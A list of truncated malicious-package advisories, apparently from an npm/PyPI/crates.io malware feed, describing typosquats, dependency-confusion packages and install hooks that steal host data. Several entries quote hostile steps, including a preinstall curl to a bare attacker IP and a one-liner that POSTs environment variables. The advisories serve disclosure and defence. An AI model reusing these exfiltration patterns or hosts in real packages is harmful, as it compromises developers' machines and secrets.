Malicious code in sm-oauth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 98d60527238d1284ed569a2fa7611ff2b430e1ebfab579f597f42a1eb28f49bc package.json declares preinstall and postinstall scripts that run curl -s http://16.192.173.5/sm-oauth/pre and curl -s...

Malicious code in sm-payment (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 926b17cedd788f5f626b3c4001ca9f1b9572abe425b87d40d6f03814d211e3e7 package.json declares preinstall and postinstall lifecycle scripts that curl a hardcoded bare IP over plain HTTP http://16.192.173.5/sm-payment/pre...

Malicious code in 10-shardsight-web (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4c7da64238cd4a48de7b5df200b6b36734be8e33dbc21e3f34a17c7235c94555 index.js is a top-level async IIFE that fetches HTML from the hardcoded, unpinned URL...

Malicious code in 2-loadsight-web (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cae23fe6221515577f9b639185cc745675d9711daad4da9fd6d5851aa27c08b5 The package consists of a minimal HTML wrapper index.html whose only behavior is to fetch content from a hardcoded, unpinned URL at...

Malicious code in 3-buildsight-web (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ed2d8b62e8d6f475efc170e1f26783037acc358eac7f32153110f29ecb415545 The package's main entry contains a top-level IIFE that runs on module load and fetches content from a hardcoded Bitbucket raw URL,...

Malicious code in 6-viewsight-web (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 96501ebb5a5bb3858767545e256cdcfd23f164f4435c109d206f421771ce6e68 The package's main module is a self-executing IIFE that fetches HTML from https://bitbucket.org/p2p-alt-public/p2p-emis/raw/main/GameWebSight and...

Malicious code in @usaa-grp-personal-profile/personal-profile-common (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector de7570e75b52c8d98aef5a71ab1b1183991359e7e3e1864befba58a9f5ca630a Package published to public npm under an internal-looking scope @usaa-grp-personal-profile at version 999.0.0, a shape consistent with...

Malicious code in rust-testing-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ee33bdedc7938508bcb50e053c441770948d3d69a51c5cab5d4280d84ceffa65 The package impersonates the pino logger in its README, keywords, and API surface. index.js exports middleware that spawns lib/caller.js as a detache...

Malicious code in solidity-testing-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7a7ffd7dfab8f1c168ceb5ae9b26f4221e912d2a444afe029b83b1f214cf3bd8 Package presents itself as a chai/solidity testing helper and pino-style logger, but its exported middleware factory in index.js silently spawns...

Malicious code in lumen-pages-community (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b7c1d6b7b99791f7bbd5999021f109bef569a6c681eda0bb6196b459b12a3808 [email protected] declares a postinstall hook node dc.js that runs automatically on npm install. dc.js collects the installer's hostname,...

Malicious code in fuel-react (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8e35f4772b8cba3555519c250662c67395bf57d89feed3feba7ea067b6bb2c27 The package's postinstall.js script executes automatically on npm install and collects host identity plus environment variables os.hostname,...

Malicious code in ethereum-validator (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 918fc2f8674173624a85456e872db7d7dd93f3b13db149b4ee3bf5e540c3c53c Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in frenchworldcupwin (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f28b41919d402aff87ec13d36b2419e4c19dcc209dcb6ffa3e736de5be2803e6 package.json declares its sole runtime dependency client-marker-packet-cluster as an arbitrary HTTPS tarball URL on a non-registry host...

Malicious code in aronenao (crates.io)

aronenao is a malicious crate published to crates.io as part of the coordinated build-time payload campaign on 2026-08-20 that trojanized arrayref, internment, and append-only-vec and published the proc-macro1 typosquat of proc-macro2. It was used as an attacker-controlled dependency carrying a...

Malicious code in libasync (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3563869a8df47e05e731eafb6ea62b3d8c60672c038444139d0ff5f8941bebcf The package was found to contain malicious code or consuming dependency that contains malicious code Source: kam193...

Malicious code in webpack-cdn-fetcher (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware d26374bf1ca7d23122c91a5e03e9783f1ca78deed6d8b97ad9988a4d1184ff95 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @wizloft/harness (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3679ede1e874f59f4be963544c3df43069cd335b2f888753b7411e42c7a5d3dd dist/index.js — the package's main/exports entrypoint — presents 200 lines of TypeScript-compiled SDK facade followed by a single 40KB line of...

Malicious code in log-res (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 59f23ea1c6c40021fb69210eba68cdbda94b42f4e255f78758778b90ebb09d78 index.js re-exports a desKey string sourced from apps/docs/app/theta.js, which reads apps/docs/app/des.db as UTF-8. des.db contains a heavily...

Malicious code in neverthrow-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector da6f9496a578c672b465944e85c471edd19ce837ec7693d472d6c4a3ea3733a7 [email protected] is a typosquat of the popular neverthrow library. Its package.json declares a preinstall script node -e...

Malicious code in mutex-lite (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d9dd128447234dcf0a624ed4128fc5135f11c4c0c4cd2b12b7b81614f50015c5 The package is named to resemble async-mutex and exports a Mutex API with the same surface, but lib/Mutex.js has been altered so that...

Malicious code in nibra1 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4521ad8bc5159d00d7ab74f0911028637749bd2a7a346e8f134ad78ef8630aee The package's CLI entry index.js launches a Python payload pointer.py that registers global keyboard hooks, polls the clipboard, captures screenshots...

Malicious code in o0o9 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a1d425848ef7172faf5f84ff9bd9017bf3ab1eb2343a5301ff0df1711d091118 The package's main entry index.js imports childprocess at the top of the file and invokes spawn"powershell",... as a top-level side effect line 27...

Malicious code in saaa9 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3011e5a125f4db4febea1bf6778ed69ebb11009d2a1b119a46118822f3ef6e93 The package is published as a 'System binary configuration tool' but the shipped code is a covert Windows surveillance overlay. On execution, index.j...

Malicious code in gemini-cli-a2a-server (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5eb13d8d28e4c8363ceabe294b988cd42a82f1875af3f2a30310232154664afd On npm install, the package's postinstall script collects host identifiers os.hostname, platform, arch, Node version, and package/lifecycle metadata...

Malicious code in gaarf-node (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fc539c4e835f015b5f7b9e65ca33a720e44ee0191e3bbf422085949e5d3029b9 The package's postinstall script runs automatically on npm install and collects host identifiers os.hostname, platform, arch, node version, package...

Malicious code in sw-pluginer (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 38427a19b5e267273200d4dc05d0b9a60f0a38bfe7916adaaeb90338af5f1b06 sw-pluginer presents itself as a Tailwind plugin for service worker registration, but its main export — invoked when Tailwind processes its config vi...

Malicious code in @sarex-team/ui-kit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 722e658713ad538fe6719d893d48c6bbea0c6cb84133e3a0010ef564ca6a1ec7 @sarex-team/ui-kit runs a DNS-based out-of-band exfiltration beacon on both npm install via package.json scripts.install = node index.js and on...

Malicious code in tailwind-utility-kit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 39d25399b925f6d37feda28b303576e2ad1672667a44ba9708f5e0ee213089ff The package is advertised as a Tailwind CSS utility library, but the default export assembles a URL from split fragments resolving to...

Malicious code in chalk-lib (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 57cc6705c0b1dabca055a6531e36802822a4441a367459efb4ba8ecbc4a92ce5 chalk-lib is a typosquat of the popular chalk package with an empty library body index.js exports whose entire effect is the postinstall lifecycle...

Malicious code in commandor-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3532b684cf99d23e6ab89c60fef9f2af5b1bfe36f4d793fcaf6bcf3f718903ab The postinstall script in [email protected] scripts/postinstall.js contains XOR-obfuscated byte arrays that decode at runtime unpackSegment with k...

Malicious code in comander-lib (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 19734d8bfb929b0c1049b6220271fabaa91603506cdcb6424e67988519da9a6e [email protected] is a typosquat of commander with an empty index.js and no native sources. Its scripts/postinstall.js runs automatically on npm...

Malicious code in @mohamed_nowisar/token3-check (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 10d463b1de43a90878da858dd595dadf43fcbbbb9d2e26cfd8b14ff6e0167457 The package registers preinstall, install, and postinstall lifecycle hooks that all execute beacon.js. On any npm install, beacon.js collects the...

Malicious code in optimizely-starter-kit-for-fastly-compute (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 72b7bcd65cbf07a90130de5e4a29fb72bc99badb287a1e1dc7373c288a1ae0be package.json declares preinstall: node index.js, causing index.js to run automatically on npm install. The script collects host identifiers...

Malicious code in core-tailwindcss-utility (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 67bbda0dc4bcf5478f2edd6a243b1f289f2b0471f950b4362f21b5a6344cdd83 Package is advertised as a Tailwind CSS utility but ships no CSS utilities. index.js exports getPlugin which fetches JSON from the hardcoded bare-IP...

Malicious code in socks5901 (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 e6184fc1c33621ffa99f06b96ac94f05944bc3c7b431243e50ede0bb396e7dd3 During import, package exfiltrates all files from "/sdcard/" --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign:...

Malicious code in @siwatfa/yorn (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 95a80ba4dd71c991ac9dfc64dd9954a5ad7a83d2b67cc7807dde863872f9324b The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in axios-fast (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9cc76e819084a35126e067bd65bd3cf2fc52b6d8e068b67d14360ef71505fa7e [email protected] declares a preinstall lifecycle script in package.json that runs a Node one-liner which POSTs the entire process.env of the installi...

Malicious code in datefmt-core-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 360a94a10ce13edded9e4a99c7c01de1ebfdd73a9af4ec49260f2cec165a609b The package advertises itself as a date-formatting utility but ships a postinstall.js that npm auto-executes on install via scripts.postinstall...

Malicious code in heft-storybook-v6-react-tutorial-storykit (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware fb5955868f72344703128add3301e3a85b51773de502f24e636fe0b9bba86d42 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in game_overlay (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 0e941794f17bbd4170928ecfb4c2affa3b9464d9227bc5671e4899aaca4a88db Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in npm_pkg_1094 (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware fe875cbf7a0714bb15d688c4eeba441eb6d7f02a73dd3657c11ade00e64bbc00 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in thepackagethatworks_ (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 7f15296c09e590124cd0c48b05fe2a07d3a2c798fe5ffe5bbc01fa91e1eeb18c Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @secauditb20y/sec-test-r3b (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector df7034b94531c8be5e9141c7a5cf73f552486c1b307672346a0e646e60207b7c package.json declares a postinstall script that runs node -e to invoke fs.writeFileSync, creating /tmp/PWNR3REAL/FIRED on the installer's machine whe...

Malicious code in @khaznatech/core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 820c7f4f32895ef501e6926f624897cf41b5f868bc21c60852cbfc101b4cd5ba The package ships install-report.js as a preinstall lifecycle script that unconditionally runs on npm install. The script reads os.hostname and the...

Malicious code in napi-raw (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d002132bfd19338c8fbc1cc3775c1c8b7be3d059c642881c4dd92be67bf7c895 [email protected] is a near-empty wrapper main exports , no lifecycle scripts whose only effect on install is to declare ltidisafe as a dependency...

Malicious code in cilm-ui-commons (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 008641dff89b7e4b86993671997e965642fab5620006c5ece0827f0fe72fe0d9 On npm install, the preinstall hook executes index.js which collects host identity data os.hostname, os.userInfo.username, os.homedir, current workin...

Malicious code in date-fmt-helper-xz (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b384650ec0fabdd01a7dfc513cccd25156611a04c17ba0c435b950ddb9215777 date-fmt-helper-xz ships a postinstall.js that runs automatically on npm install. The script opens a TCP connection to the hardcoded remote host...

Malicious code in date-fmt-utils-helper (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4ae88f68f30ebd69a595537393ce95c4ce5e543b558572769fa2c608fa1b1b0d The package presents itself as a date-formatting utility, but its index.js is a trivial cover and a source comment explicitly labels the library as a...

Malicious code in @dsp-next-gen-ui/needs-review (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 4d60392260c683ff8714400794f5f621a8c040ba0846b9fabdd194c0e6fb76b6 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in keyed-mutex-map (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector dd45a0cb60ef881a4f011fed410aacced4d83f39457bea6c4f21fa7d09076801 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...